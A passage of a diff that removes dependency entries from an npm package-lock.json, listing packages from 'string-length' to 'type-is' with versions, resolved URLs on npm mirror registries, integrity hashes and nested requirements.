-      "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM="
-    },
-    "string-length": {
-      "version": "4.0.2",
-      "resolved": "https://registry.nlark.com/string-length/download/string-length-4.0.2.tgz?cache=0&sync_timestamp=1622904808441&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstring-length%2Fdownload%2Fstring-length-4.0.2.tgz",
-      "integrity": "sha1-qKjce9XBqCubPIuH4SX2aHG25Xo=",
-      "requires": {
-        "char-regex": "^1.0.2",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "string-natural-compare": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/string-natural-compare/download/string-natural-compare-3.0.1.tgz",
-      "integrity": "sha1-ekLVhHRFSWN1no6LeuY9ccHn/fQ="
-    },
-    "string-width": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npm.taobao.org/string-width/download/string-width-4.2.2.tgz?cache=0&sync_timestamp=1618558821529&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring-width%2Fdownload%2Fstring-width-4.2.2.tgz",
-      "integrity": "sha1-2v1PlVmnWFz7pSnGoKT3NIjr1MU=",
-      "requires": {
-        "emoji-regex": "^8.0.0",
-        "is-fullwidth-code-point": "^3.0.0",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "string.prototype.matchall": {
-      "version": "4.0.5",
-      "resolved": "https://registry.nlark.com/string.prototype.matchall/download/string.prototype.matchall-4.0.5.tgz",
-      "integrity": "sha1-WTcGROHbfkwMBFJ3aQz3sBIDxNo=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.2",
-        "get-intrinsic": "^1.1.1",
-        "has-symbols": "^1.0.2",
-        "internal-slot": "^1.0.3",
-        "regexp.prototype.flags": "^1.3.1",
-        "side-channel": "^1.0.4"
-      }
-    },
-    "string.prototype.trimend": {
-      "version": "1.0.4",
-      "resolved": "https://registry.nlark.com/string.prototype.trimend/download/string.prototype.trimend-1.0.4.tgz",
-      "integrity": "sha1-51rpDClCxjUEaGwYsoe0oLGkX4A=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3"
-      }
-    },
-    "string.prototype.trimstart": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/string.prototype.trimstart/download/string.prototype.trimstart-1.0.4.tgz",
-      "integrity": "sha1-s2OZr0qymZtMnGSL16P7K7Jv7u0=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3"
-      }
-    },
-    "string_decoder": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.3.0.tgz",
-      "integrity": "sha1-QvEUWUpGzxqOMLCoT1bHjD7awh4=",
-      "requires": {
-        "safe-buffer": "~5.2.0"
-      },
-      "dependencies": {
-        "safe-buffer": {
-          "version": "5.2.1",
-          "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz",
-          "integrity": "sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY="
-        }
-      }
-    },
-    "stringify-object": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npm.taobao.org/stringify-object/download/stringify-object-3.3.0.tgz",
-      "integrity": "sha1-cDBlrvyhkwDTzoivT1s5VtdVZik=",
-      "requires": {
-        "get-own-enumerable-property-symbols": "^3.0.0",
-        "is-obj": "^1.0.1",
-        "is-regexp": "^1.0.0"
-      },
-      "dependencies": {
-        "is-obj": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/is-obj/download/is-obj-1.0.1.tgz",
-          "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8="
-        }
-      }
-    },
-    "strip-ansi": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-6.0.0.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-6.0.0.tgz",
-      "integrity": "sha1-CxVx3XZpzNTz4G4U7x7tJiJa5TI=",
-      "requires": {
-        "ansi-regex": "^5.0.0"
-      }
-    },
-    "strip-bom": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/strip-bom/download/strip-bom-3.0.0.tgz?cache=0&sync_timestamp=1618847025316&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-bom%2Fdownload%2Fstrip-bom-3.0.0.tgz",
-      "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM="
-    },
-    "strip-comments": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/strip-comments/download/strip-comments-1.0.2.tgz",
-      "integrity": "sha1-grnEXn8FhzvuU/NxaK+TCqNoZ50=",
-      "requires": {
-        "babel-extract-comments": "^1.0.0",
-        "babel-plugin-transform-object-rest-spread": "^6.26.0"
-      }
-    },
-    "strip-eof": {
-      "version": "1.0.0",
-      "resolved": "https://registry.nlark.com/strip-eof/download/strip-eof-1.0.0.tgz",
-      "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8="
-    },
-    "strip-final-newline": {
-      "version": "2.0.0",
-      "resolved": "https://registry.nlark.com/strip-final-newline/download/strip-final-newline-2.0.0.tgz?cache=0&sync_timestamp=1620046435959&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-final-newline%2Fdownload%2Fstrip-final-newline-2.0.0.tgz",
-      "integrity": "sha1-ibhS+y/L6Tb29LMYevsKEsGrWK0="
-    },
-    "strip-indent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/strip-indent/download/strip-indent-3.0.0.tgz?cache=0&sync_timestamp=1620053263051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-indent%2Fdownload%2Fstrip-indent-3.0.0.tgz",
-      "integrity": "sha1-wy4c7pQLazQyx3G8LFS8znPNMAE=",
-      "requires": {
-        "min-indent": "^1.0.0"
-      }
-    },
-    "strip-json-comments": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/strip-json-comments/download/strip-json-comments-3.1.1.tgz",
-      "integrity": "sha1-MfEoGzgyYwQ0gxwxDAHMzajL4AY="
-    },
-    "style-loader": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npm.taobao.org/style-loader/download/style-loader-1.3.0.tgz?cache=0&sync_timestamp=1602337229470&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstyle-loader%2Fdownload%2Fstyle-loader-1.3.0.tgz",
-      "integrity": "sha1-gotKOzt+eqWEfOe66eh0USEUJJ4=",
-      "requires": {
-        "loader-utils": "^2.0.0",
-        "schema-utils": "^2.7.0"
-      }
-    },
-    "stylehacks": {
-      "version": "4.0.3",
-      "resolved": "https://registry.nlark.com/stylehacks/download/stylehacks-4.0.3.tgz?cache=0&sync_timestamp=1621449783387&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstylehacks%2Fdownload%2Fstylehacks-4.0.3.tgz",
-      "integrity": "sha1-Zxj8r00eB9ihMYaQiB6NlnJqcdU=",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha1-sxD1xMD9r3b5SQK7qjDbaqhPUnA=",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.nlark.com/supports-color/download/supports-color-7.2.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-7.2.0.tgz",
-      "integrity": "sha1-G33NyzK4E4gBs+R4umpRyqiWSNo=",
-      "requires": {
-        "has-flag": "^4.0.0"
-      },
-      "dependencies": {
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-4.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-4.0.0.tgz",
-          "integrity": "sha1-lEdx/ZyByBJlxNaUGGDaBrtZR5s="
-        }
-      }
-    },
-    "supports-hyperlinks": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/supports-hyperlinks/download/supports-hyperlinks-2.2.0.tgz?cache=0&sync_timestamp=1617752134357&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsupports-hyperlinks%2Fdownload%2Fsupports-hyperlinks-2.2.0.tgz",
-      "integrity": "sha1-T3e0JIh2WJF3S3DHm6vYf5vVlLs=",
-      "requires": {
-        "has-flag": "^4.0.0",
-        "supports-color": "^7.0.0"
-      },
-      "dependencies": {
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/has-flag/download/has-flag-4.0.0.tgz?cache=0&sync_timestamp=1618559744568&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-flag%2Fdownload%2Fhas-flag-4.0.0.tgz",
-          "integrity": "sha1-lEdx/ZyByBJlxNaUGGDaBrtZR5s="
-        }
-      }
-    },
-    "svg-parser": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npm.taobao.org/svg-parser/download/svg-parser-2.0.4.tgz",
-      "integrity": "sha1-/cLinhOVFzYUC3bLEiyO5mMOtrU="
-    },
-    "svgo": {
-      "version": "1.3.2",
-      "resolved": "https://registry.nlark.com/svgo/download/svgo-1.3.2.tgz",
-      "integrity": "sha1-ttxRHAYzRsnkFbgeQ0ARRbltQWc=",
-      "requires": {
-        "chalk": "^2.4.1",
-        "coa": "^2.0.2",
-        "css-select": "^2.0.0",
-        "css-select-base-adapter": "^0.1.1",
-        "css-tree": "1.0.0-alpha.37",
-        "csso": "^4.0.2",
-        "js-yaml": "^3.13.1",
-        "mkdirp": "~0.5.1",
-        "object.values": "^1.1.0",
-        "sax": "~1.2.4",
-        "stable": "^0.1.8",
-        "unquote": "~1.1.1",
-        "util.promisify": "~1.0.0"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-          "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "symbol-tree": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npm.taobao.org/symbol-tree/download/symbol-tree-3.2.4.tgz",
-      "integrity": "sha1-QwY30ki6d+B4iDlR+5qg7tfGP6I="
-    },
-    "table": {
-      "version": "6.7.1",
-      "resolved": "https://registry.nlark.com/table/download/table-6.7.1.tgz?cache=0&sync_timestamp=1620957104150&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftable%2Fdownload%2Ftable-6.7.1.tgz",
-      "integrity": "sha1-7gVZK3FDgxqMlPPO5qrkwczvM+I=",
-      "requires": {
-        "ajv": "^8.0.1",
-        "lodash.clonedeep": "^4.5.0",
-        "lodash.truncate": "^4.4.2",
-        "slice-ansi": "^4.0.0",
-        "string-width": "^4.2.0",
-        "strip-ansi": "^6.0.0"
-      },
-      "dependencies": {
-        "ajv": {
-          "version": "8.6.0",
-          "resolved": "https://registry.nlark.com/ajv/download/ajv-8.6.0.tgz",
-          "integrity": "sha1-YMxF2cRqR32A2SxIB22XLDQuVyA=",
-          "requires": {
-            "fast-deep-equal": "^3.1.1",
-            "json-schema-traverse": "^1.0.0",
-            "require-from-string": "^2.0.2",
-            "uri-js": "^4.2.2"
-          }
-        },
-        "json-schema-traverse": {
-          "version": "1.0.0",
-          "resolved": "https://registry.nlark.com/json-schema-traverse/download/json-schema-traverse-1.0.0.tgz",
-          "integrity": "sha1-rnvLNlard6c7pcSb9lTzjmtoYOI="
-        }
-      }
-    },
-    "tapable": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npm.taobao.org/tapable/download/tapable-1.1.3.tgz",
-      "integrity": "sha1-ofzMBrWNth/XpF2i2kT186Pme6I="
-    },
-    "tar": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npm.taobao.org/tar/download/tar-6.1.0.tgz?cache=0&sync_timestamp=1610045517836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftar%2Fdownload%2Ftar-6.1.0.tgz",
-      "integrity": "sha1-0XJOm8wEuXexjVxXOzM6IgcimoM=",
-      "requires": {
-        "chownr": "^2.0.0",
-        "fs-minipass": "^2.0.0",
-        "minipass": "^3.0.0",
-        "minizlib": "^2.1.1",
-        "mkdirp": "^1.0.3",
-        "yallist": "^4.0.0"
-      },
-      "dependencies": {
-        "mkdirp": {
-          "version": "1.0.4",
-          "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-1.0.4.tgz",
-          "integrity": "sha1-PrXtYmInVteaXw4qIh3+utdcL34="
-        }
-      }
-    },
-    "temp-dir": {
-      "version": "1.0.0",
-      "resolved": "https://registry.nlark.com/temp-dir/download/temp-dir-1.0.0.tgz",
-      "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0="
-    },
-    "tempy": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npm.taobao.org/tempy/download/tempy-0.3.0.tgz?cache=0&sync_timestamp=1615964775789&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftempy%2Fdownload%2Ftempy-0.3.0.tgz",
-      "integrity": "sha1-b2xbKVaVoWEwmWrVqwGovXJui/g=",
-      "requires": {
-        "temp-dir": "^1.0.0",
-        "type-fest": "^0.3.1",
-        "unique-string": "^1.0.0"
-      },
-      "dependencies": {
-        "type-fest": {
-          "version": "0.3.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.3.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.3.1.tgz",
-          "integrity": "sha1-Y9ANIE4FlHT+Xht8ARESu9HcKeE="
-        }
-      }
-    },
-    "terminal-link": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/terminal-link/download/terminal-link-2.1.1.tgz?cache=0&sync_timestamp=1618724423731&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fterminal-link%2Fdownload%2Fterminal-link-2.1.1.tgz",
-      "integrity": "sha1-FKZKJ6s8Dfkz6lRvulXy0HjtyZQ=",
-      "requires": {
-        "ansi-escapes": "^4.2.1",
-        "supports-hyperlinks": "^2.0.0"
-      }
-    },
-    "terser": {
-      "version": "4.8.0",
-      "resolved": "https://registry.nlark.com/terser/download/terser-4.8.0.tgz",
-      "integrity": "sha1-YwVjQ9fHC7KfOvZlhlpG/gOg3xc=",
-      "requires": {
-        "commander": "^2.20.0",
-        "source-map": "~0.6.1",
-        "source-map-support": "~0.5.12"
-      },
-      "dependencies": {
-        "commander": {
-          "version": "2.20.3",
-          "resolved": "https://registry.nlark.com/commander/download/commander-2.20.3.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-2.20.3.tgz",
-          "integrity": "sha1-/UhehMA+tIgcIHIrpIA16FMa6zM="
-        }
-      }
-    },
-    "terser-webpack-plugin": {
-      "version": "4.2.3",
-      "resolved": "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-4.2.3.tgz?cache=0&sync_timestamp=1622475814720&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fterser-webpack-plugin%2Fdownload%2Fterser-webpack-plugin-4.2.3.tgz",
-      "integrity": "sha1-KNrvSoO9F8HbApcHCtwH/Iz8apo=",
-      "requires": {
-        "cacache": "^15.0.5",
-        "find-cache-dir": "^3.3.1",
-        "jest-worker": "^26.5.0",
-        "p-limit": "^3.0.2",
-        "schema-utils": "^3.0.0",
-        "serialize-javascript": "^5.0.1",
-        "source-map": "^0.6.1",
-        "terser": "^5.3.4",
-        "webpack-sources": "^1.4.3"
-      },
-      "dependencies": {
-        "commander": {
-          "version": "2.20.3",
-          "resolved": "https://registry.nlark.com/commander/download/commander-2.20.3.tgz?cache=0&sync_timestamp=1622954251160&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-2.20.3.tgz",
-          "integrity": "sha1-/UhehMA+tIgcIHIrpIA16FMa6zM="
-        },
-        "find-cache-dir": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-3.3.1.tgz",
-          "integrity": "sha1-ibM/rUpGcNqpT4Vff74x1thP6IA=",
-          "requires": {
-            "commondir": "^1.0.1",
-            "make-dir": "^3.0.2",
-            "pkg-dir": "^4.1.0"
-          }
-        },
-        "make-dir": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-3.1.0.tgz",
-          "integrity": "sha1-QV6WcEazp/HRhSd9hKpYIDcmoT8=",
-          "requires": {
-            "semver": "^6.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/p-limit/download/p-limit-3.1.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-3.1.0.tgz",
-          "integrity": "sha1-4drMvnjQ0TiMoYxk/qOOPlfjcGs=",
-          "requires": {
-            "yocto-queue": "^0.1.0"
-          }
-        },
-        "pkg-dir": {
-          "version": "4.2.0",
-          "resolved": "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-4.2.0.tgz",
-          "integrity": "sha1-8JkTPfft5CLoHR2ESCcO6z5CYfM=",
-          "requires": {
-            "find-up": "^4.0.0"
-          }
-        },
-        "schema-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz",
-          "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=",
-          "requires": {
-            "@types/json-schema": "^7.0.6",
-            "ajv": "^6.12.5",
-            "ajv-keywords": "^3.5.2"
-          }
-        },
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        },
-        "terser": {
-          "version": "5.7.0",
-          "resolved": "https://registry.nlark.com/terser/download/terser-5.7.0.tgz",
-          "integrity": "sha1-p2Hu7CBryHtgWrEwKYdurZOK5pM=",
-          "requires": {
-            "commander": "^2.20.0",
-            "source-map": "~0.7.2",
-            "source-map-support": "~0.5.19"
-          },
-          "dependencies": {
-            "source-map": {
-              "version": "0.7.3",
-              "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz",
-              "integrity": "sha1-UwL4FpAxc1ImVECS5kmB91F1A4M="
-            }
-          }
-        }
-      }
-    },
-    "test-exclude": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/test-exclude/download/test-exclude-6.0.0.tgz",
-      "integrity": "sha1-BKhphmHYBepvopO2y55jrARO8V4=",
-      "requires": {
-        "@istanbuljs/schema": "^0.1.2",
-        "glob": "^7.1.4",
-        "minimatch": "^3.0.4"
-      }
-    },
-    "text-table": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npm.taobao.org/text-table/download/text-table-0.2.0.tgz",
-      "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ="
-    },
-    "throat": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/throat/download/throat-5.0.0.tgz",
-      "integrity": "sha1-xRmSNYA6rRh1SmZ9ZZtecs4Wdks="
-    },
-    "through2": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npm.taobao.org/through2/download/through2-2.0.5.tgz",
-      "integrity": "sha1-AcHjnrMdB8t9A6lqcIIyYLIxMs0=",
-      "requires": {
-        "readable-stream": "~2.3.6",
-        "xtend": "~4.0.1"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "thunky": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/thunky/download/thunky-1.1.0.tgz",
-      "integrity": "sha1-Wrr3FKlAXbBQRzK7zNLO3Z75U30="
-    },
-    "timers-browserify": {
-      "version": "2.0.12",
-      "resolved": "https://registry.npm.taobao.org/timers-browserify/download/timers-browserify-2.0.12.tgz",
-      "integrity": "sha1-RKRcEfv0B/NPl7zNFXfGUjYbAO4=",
-      "requires": {
-        "setimmediate": "^1.0.4"
-      }
-    },
-    "timsort": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npm.taobao.org/timsort/download/timsort-0.3.0.tgz",
-      "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q="
-    },
-    "tmpl": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/tmpl/download/tmpl-1.0.4.tgz",
-      "integrity": "sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE="
-    },
-    "to-arraybuffer": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/to-arraybuffer/download/to-arraybuffer-1.0.1.tgz",
-      "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M="
-    },
-    "to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/to-fast-properties/download/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4="
-    },
-    "to-object-path": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npm.taobao.org/to-object-path/download/to-object-path-0.3.0.tgz",
-      "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "to-regex": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/to-regex/download/to-regex-3.0.2.tgz",
-      "integrity": "sha1-E8/dmzNlUvMLUfM6iuG0Knp1mc4=",
-      "requires": {
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "regex-not": "^1.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "to-regex-range": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-5.0.1.tgz",
-      "integrity": "sha1-FkjESq58jZiKMmAY7XL1tN0DkuQ=",
-      "requires": {
-        "is-number": "^7.0.0"
-      }
-    },
-    "toidentifier": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/toidentifier/download/toidentifier-1.0.0.tgz",
-      "integrity": "sha1-fhvjRw8ed5SLxD2Uo8j013UrpVM="
-    },
-    "tough-cookie": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/tough-cookie/download/tough-cookie-4.0.0.tgz",
-      "integrity": "sha1-2CIjTuyogvmR8PkIgkrSYi3b7OQ=",
-      "requires": {
-        "psl": "^1.1.33",
-        "punycode": "^2.1.1",
-        "universalify": "^0.1.2"
-      },
-      "dependencies": {
-        "universalify": {
-          "version": "0.1.2",
-          "resolved": "https://registry.nlark.com/universalify/download/universalify-0.1.2.tgz",
-          "integrity": "sha1-tkb2m+OULavOzJ1mOcgNwQXvqmY="
-        }
-      }
-    },
-    "tr46": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/tr46/download/tr46-2.1.0.tgz",
-      "integrity": "sha1-+oeqgcpdWUHajL8fm3SdyWmk4kA=",
-      "requires": {
-        "punycode": "^2.1.1"
-      }
-    },
-    "tryer": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/tryer/download/tryer-1.0.1.tgz",
-      "integrity": "sha1-8shUBoALmw90yfdGW4HqrSQSUvg="
-    },
-    "ts-pnp": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/ts-pnp/download/ts-pnp-1.2.0.tgz",
-      "integrity": "sha1-pQCtCEsHmPHDBxrzkeZZEshrypI="
-    },
-    "tsconfig-paths": {
-      "version": "3.9.0",
-      "resolved": "https://registry.npm.taobao.org/tsconfig-paths/download/tsconfig-paths-3.9.0.tgz?cache=0&sync_timestamp=1606090519879&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftsconfig-paths%2Fdownload%2Ftsconfig-paths-3.9.0.tgz",
-      "integrity": "sha1-CYVHpsREiAfo/Ljq4IEGTumjyQs=",
-      "requires": {
-        "@types/json5": "^0.0.29",
-        "json5": "^1.0.1",
-        "minimist": "^1.2.0",
-        "strip-bom": "^3.0.0"
-      },
-      "dependencies": {
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        }
-      }
-    },
-    "tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-1.14.1.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-1.14.1.tgz",
-      "integrity": "sha1-zy04vcNKE0vK8QkcQfZhni9nLQA="
-    },
-    "tsutils": {
-      "version": "3.21.0",
-      "resolved": "https://registry.npm.taobao.org/tsutils/download/tsutils-3.21.0.tgz?cache=0&sync_timestamp=1615138426726&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftsutils%2Fdownload%2Ftsutils-3.21.0.tgz",
-      "integrity": "sha1-tIcX05TOpsHglpg+7Vjp1hcVtiM=",
-      "requires": {
-        "tslib": "^1.8.1"
-      }
-    },
-    "tty-browserify": {
-      "version": "0.0.0",
-      "resolved": "https://registry.npm.taobao.org/tty-browserify/download/tty-browserify-0.0.0.tgz",
-      "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY="
-    },
-    "type": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/type/download/type-1.2.0.tgz?cache=0&sync_timestamp=1615215462572&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftype%2Fdownload%2Ftype-1.2.0.tgz",
-      "integrity": "sha1-hI3XaY2vo+VKbEeedZxLw/GIR6A="
-    },
-    "type-check": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/type-check/download/type-check-0.4.0.tgz",
-      "integrity": "sha1-B7ggO/pwVsBlcFDjzNLDdzC6uPE=",
-      "requires": {
-        "prelude-ls": "^1.2.1"
-      }
-    },
-    "type-detect": {
-      "version": "4.0.8",
-      "resolved": "https://registry.npm.taobao.org/type-detect/download/type-detect-4.0.8.tgz",
-      "integrity": "sha1-dkb7XxiHHPu3dJ5pvTmmOI63RQw="
-    },
-    "type-fest": {
-      "version": "0.20.2",
-      "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.20.2.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.20.2.tgz",
-      "integrity": "sha1-G/IH9LKPkVg2ZstfvTJ4hzAc1fQ="
-    },
-    "type-is": {
-      "version": "1.6.18",
